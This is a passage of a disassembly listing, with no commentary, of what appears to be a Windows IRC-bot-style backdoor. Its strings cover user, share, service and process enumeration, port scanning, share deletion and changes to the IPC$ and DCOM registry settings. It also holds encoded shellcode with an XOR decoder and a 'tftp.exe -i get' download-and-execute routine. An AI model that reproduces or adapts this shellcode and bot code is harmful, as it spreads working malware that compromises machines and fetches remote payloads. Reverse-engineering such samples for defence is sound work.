sub_40E52B+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40E6A9+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40E6A9:loc_40E775o aStarting db ' Starting',0 ; DATA XREF: sub_40E6A9:loc_40E76Eo aStoping db ' Stoping',0 ; DATA XREF: sub_40E6A9:loc_40E767o aRunning_0 db ' Running',0 ; DATA XREF: sub_40E6A9:loc_40E760o aContinuing db ' Continuing',0 ; DATA XREF: sub_40E6A9:loc_40E759o aPausing db ' Pausing',0 ; DATA XREF: sub_40E6A9:loc_40E752o aPaused_0 db ' Paused',0 ; DATA XREF: sub_40E6A9:loc_40E74Bo aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_40E6A9+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40E6A9+25o align 4 dword_42D2F4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E7E6+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42D32C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E7E6+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42D35C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E7E6+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E9DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40E9DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_40E9DB+B5o dword_42D3BC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E9DB+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40E9DB+26o align 10h dword_42D430 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40EAFC+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42D46C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40EAFC+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42D4AC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40EAFC+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 10h dword_42D4E0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40EC42+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40EC42+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40EC42+33Fo align 10h aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40EC42+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40EC42+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40EC42+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40EC42+299o align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40EC42+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40EC42+246o align 10h aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40EC42+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40EC42+1F3o align 10h aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40EC42+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40EC42+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40EC42+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40EC42+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40EC42+125o aGuest db 'Guest',0 ; DATA XREF: sub_40EC42:loc_40ED5Bo align 4 aUser_1 db 'User',0 ; DATA XREF: sub_40EC42:loc_40ED54o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40EC42+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40EC42+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40EC42+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_40EC42+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40F010+14Fo align 10h dword_42D6A0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40F010+F7o dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40F010+BEo align 4 dword_42D6E8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40F010+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40F010+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40F190:loc_40F2ADo align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40F190:loc_40F2A6o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40F190:loc_40F29Fo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40F190:loc_40F298o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_40F190:loc_40F291o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40F190:loc_40F274o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40F190:loc_40F26Do align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40F190:loc_40F266o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40F190+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40F190:loc_40F23Bo aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40F190:loc_40F234o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40F190:loc_40F22Do aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40F190:loc_40F223o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40F190+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40F190:loc_40F1FDo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40F190:loc_40F1F3o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40F190:loc_40F1E9o align 10h aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40F190:loc_40F1DFo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40F190:loc_40F1D5o align 10h aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40F190+3Bo align 4 dword_42DA04 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40F2C4+ABo dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42DA40 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40F2C4+81o dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: seg000:0040F50Do align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: seg000:0040F447o ; seg000:0040F58Bo align 4 dword_42DA9C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40F59E:loc_40F625o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 4 dword_42DAD4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40F59E+80o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 10h dword_42DB10 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40F59E+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h dd 72702067h, 7365636Fh, 3A736573h, 0 aConst db 'const',0 align 10h dd 0 dword_42DB54 dd 1 off_42DB58 dd offset sub_40F6E3 ; DATA XREF: sub_40FA4E+49r aLetter db 'letter',0 align 8 dd 2, 40F741h, 706D6F63h, 2 dup(0) dd 3, 40F78Eh, 6E756F63h, 797274h, 0 dd 4, 40F82Ch, 736Fh, 2 dup(0) dd 5, 40F8A1h dword_42DBAC dd 69257325h, 0 ; seg000:0040F80Do ... dword_42DBB4 dd 4350h dword_42DBB8 dd 7C7325h ; sub_40FA4E+39o dword_42DBBC dd 5D73255Bh, 7Chdword_42DBC4 dd 334B32h dword_42DBC8 dd 5D64255Bh, 7325hdword_42DBD0 dd 5D4D5Bh ; sub_40F9AB+57o unk_42DBD4 db 2 ; DATA XREF: sub_40FAB7+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_42DC10 db 2 ; DATA XREF: sub_40FB84+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h dword_42DC50 dd 1D4C0h align 8 off_42DC58 dd offset dword_42DC90 ; DATA XREF: sub_40FC75+1B3o align 10h dd offset dword_42DC88 align 8 dd offset dword_42DC84 dd offset dword_42DC80 dd offset dword_42DC7C dd offset dword_42DC78 dword_42DC78 dd 5C3A44h ; seg002:0042DC74o dword_42DC7C dd 2444h dword_42DC80 dd 5C3A43h dword_42DC84 dd 2443h dword_42DC88 dd 494D4441h, 244Ehdword_42DC90 dd 24435049h, 0 unk_42DC98 db 2 ; DATA XREF: sub_40FC75+2E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_42DCDC db 2 ; DATA XREF: sub_40FC75+2CFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_42DD18 db 2 ; DATA XREF: sub_40FC75:loc_40FED7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_42DD58 db 2 ; DATA XREF: sub_40FC75+25Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h unk_42DD90 db 2 ; DATA XREF: sub_40FC75:loc_40FE44o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 10h unk_42DDD0 db 2 ; DATA XREF: sub_40FC75+1C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_42DE08 db 2 ; DATA XREF: sub_40FC75:loc_40FDA7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_42DE4C db 2 ; DATA XREF: sub_40FC75:loc_40FDA0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_42DE9C db 2 ; DATA XREF: sub_40FC75:loc_40FD82o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_42DEE4 db 2 ; DATA XREF: sub_40FC75+106o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_40FC75+EDo align 4 unk_42DF48 db 2 ; DATA XREF: sub_40FC75+91o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_42DF8C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_40FC75:loc_40FCE2o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_42DFBC db 2 ; DATA XREF: sub_40FC75+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_40FC75+54o align 10h word_42E000 dw 4Eh ; DATA XREF: sub_40FC75+38r align 4 jmp short loc_42E008 ; --------------------------------------------------------------------------- loc_42E006: ; CODE XREF: seg002:loc_42E008p jmp short loc_42E00D ; --------------------------------------------------------------------------- loc_42E008: ; CODE XREF: seg002:0042E004j call loc_42E006 loc_42E00D: ; CODE XREF: seg002:loc_42E006j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_42E014: ; CODE XREF: seg002:0042E019j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_42E014 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_42E02A: ; CODE XREF: seg002:0042E02Fj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_42E02A ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_42E0CC jnz short loc_42E0B8 retn ; --------------------------------------------------------------------------- loc_42E0B8: ; CODE XREF: seg002:0042E0B5j ; seg002:0042E0C5j call near ptr loc_42E0BD+1 loc_42E0BD: ; CODE XREF: seg002:loc_42E0B8p add [edx+0], ch call sub_42E0CC jz loc_42E0B8 retn ; =============== S U B R O U T I N E ======================================= sub_42E0CC proc near ; CODE XREF: seg002:0042E0B0p ; seg002:0042E0C0p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_42E0CC endp ; --------------------------------------------------------------------------- align 4 aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_410245+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_410245+35o dword_42E148 dd 0BB0A72h align 10h dword_42E150 dd 173Fh dd 9875h, 9873h dd offset sub_410D81 dd offset nullsub_2 dd offset nullsub_2 dword_42E168 dd 1B3Fh dword_42E16C dd 19930520h, 4 dup(0) ; sub_411286+2o off_42E180 dd offset sub_4125D8 ; DATA XREF: sub_412ADE+1Cr dword_42E184 dd 2 ; sub_417C59+46r ... off_42E188 dd offset aNull_0 ; DATA XREF: sub_412C3C:loc_412FA0r ; sub_412C3C+457r ; "(null)" off_42E18C dd offset aNull ; DATA XREF: sub_412C3C+259r ; "(null)" off_42E190 dd offset word_42E19A ; DATA XREF: sub_4109F4+23r ; sub_4109F4:loc_410A55r ... dd offset word_42E19A db 2 dup(0) word_42E19A dw 20h ; DATA XREF: sub_4195B0+18r ; seg002:off_42E190o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_42E39C dd 1 ; sub_4109F4:loc_410A40r ... byte_42E3A0 db 2Eh ; DATA XREF: sub_41496B:loc_4149ABr ; sub_4149C5+4r ... align 4 dd 1, 10h dword_42E3AC dd 3F8h ; sub_41237F+4Dr ... dword_42E3B0 dd 14h off_42E3B4 dd offset aExp ; DATA XREF: sub_4146B4:loc_4146D1r ; "exp" dd 1Dh, 41C784h, 1Ah, 41C780h, 1Bh, 41C778h, 1Fh, 41C770h dd 13h, 41C768h, 21h, 41C760h, 0Eh, 41C758h, 0Dh, 41C750h dd 0Fh, 41C748h, 10h, 41C740h, 5, 41C738h, 1Eh, 41C734h dd 12h, 41C730h, 20h, 41C72Ch, 0Ch, 41C724h, 0Bh, 41C71Ch dd 15h, 41C714h, 1Ch, 41C70Ch, 19h, 41C704h, 11h, 41C6FCh dd 18h, 41C6F4h, 16h, 41C6ECh, 17h, 41C6E4h, 22h, 41C6E0h dd 23h, 41C6DCh, 24h, 41C6D8h dbl_42E488 dq 1.797693134862316e308 ; DATA XREF: sub_4143EF+B7r ; sub_4143EF:loc_4144D6r ... dd 0 dd 0FFF80000h dbl_42E498 dq 1.797693134862316e308 ; DATA XREF: sub_4143EF+92r ; sub_4143EF:loc_4144AEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_42E4B0 dt 2.3562723457267347066e313 ; DATA XREF: sub_41489C+Dr ; sub_41489C+1Fr align 4 tbyte_42E4BC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41489C+31r align 4 off_42E4C8 dd offset sub_414D30 ; DATA XREF: sub_410D99+Fw ; sub_412C3C+3AAr off_42E4CC dd offset sub_4149C5 ; DATA XREF: sub_410D99+5w ; sub_412C3C+3E2r off_42E4D0 dd offset sub_414A2B ; DATA XREF: sub_410D99+14w ; sub_41578D+430r off_42E4D4 dd offset sub_41496B ; DATA XREF: sub_410D99+1Ew ; sub_412C3C+3CBr off_42E4D8 dd offset sub_414A13 ; DATA XREF: sub_410D99+28w off_42E4DC dd offset sub_414D30 ; DATA XREF: sub_410D99+32w dd offset sub_41891C align 10h dd offset sub_4155EC off_42E4F4 dd offset sub_4155EC ; DATA XREF: sub_415642+29r dword_42E4F8 dd 0D2D0920h, 5Dhdword_42E500 dd 5Dh, 0 byte_42E508 db 1 ; DATA XREF: sub_416DE3+E1r db 2, 4, 8 align 10h dword_42E510 dd 3A4h dword_42E514 dd 82798260h, 21h, 0dword_42E520 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_42E600 dd 1 ; sub_41724D+Co dword_42E604 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_42E768 dd 0C0000005h ; sub_4174BF+Ar ... dword_42E76C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_42E7E0 dd 3 ; sub_41A044+C8r dword_42E7E4 dd 7 ; sub_41A044+CDr dword_42E7E8 dd 0Ah ; sub_41A171+4r dword_42E7EC dd 8Ch ; seg000:0041740Dw ... dword_42E7F0 dd 0FFFFFFFFh, 0A00h ; sub_4164EB:loc_41656Co dword_42E7F8 dd 2 ; sub_417C59+28r off_42E7FC dd offset aR6002FloatingP ; DATA XREF: sub_417C59+FCr ; sub_417C59+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41CAA4h, 9, 41CA78h, 0Ah, 41CA54h, 10h, 41CA28h dd 11h, 41C9F8h, 12h, 41C9D4h, 13h, 41C9A8h, 18h, 41C970h dd 19h, 41C948h, 1Ah, 41C910h, 1Bh, 41C8D8h, 1Ch, 41C8B0h dd 78h, 41C8A0h, 79h, 41C890h, 7Ah, 41C880h, 0FCh, 41F6ACh dd 0FFh, 41C870h off_42E888 dd offset dword_45FB40 ; DATA XREF: sub_417C59+1Bo ; seg000:00418018o align 10h dd offset dword_45FB40 dd 101h dword_42E898 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_42E8A8 dd 3 dup(0) ; sub_4172B4+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_42E8C8 dd 3 dup(0) ; sub_4172B4:loc_4172D2o dd 2, 0FFFFFFFFh, 7 dup(0) dword_42E8F8 dd 84h dup(0) dword_42EB08 dd 2694h ; sub_4140A4+46r ... align 10h dword_42EB10 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42EB28 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42EB40 dd 7080h ; seg000:00418BE0w ... dword_42EB44 dd 1 ; seg000:00418C0Dw ... dword_42EB48 dd 0FFFFF1F0h ; seg000:00418C16w ... dword_42EB4C dd 545350h, 0Fh dup(0)dword_42EB8C dd 544450h, 0Fh dup(0)off_42EBCC dd offset dword_42EB4C ; DATA XREF: seg000:00418C3Cr ; seg000:00418C5Br ... off_42EBD0 dd offset dword_42EB8C ; DATA XREF: seg000:00418C76r ; seg000:00418C9Dr ... align 8 dword_42EBD8 dd 0FFFFFFFFh ; sub_418DE0+1Er ... dword_42EBDC dd 0 ; sub_418F8C+BFw dword_42EBE0 dd 0 ; sub_418F8C+E0w align 8 dword_42EBE8 dd 0FFFFFFFFh ; sub_418DE0+26r ... dword_42EBEC dd 0 ; sub_418F8C+EAw ... dword_42EBF0 dd 0 ; sub_418F8C+23r ... dword_42EBF4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_42EC24 dd 16Dh ; sub_418F8C+2Er ... dword_42EC28 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_42EC60 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_42EDC0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41A599+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 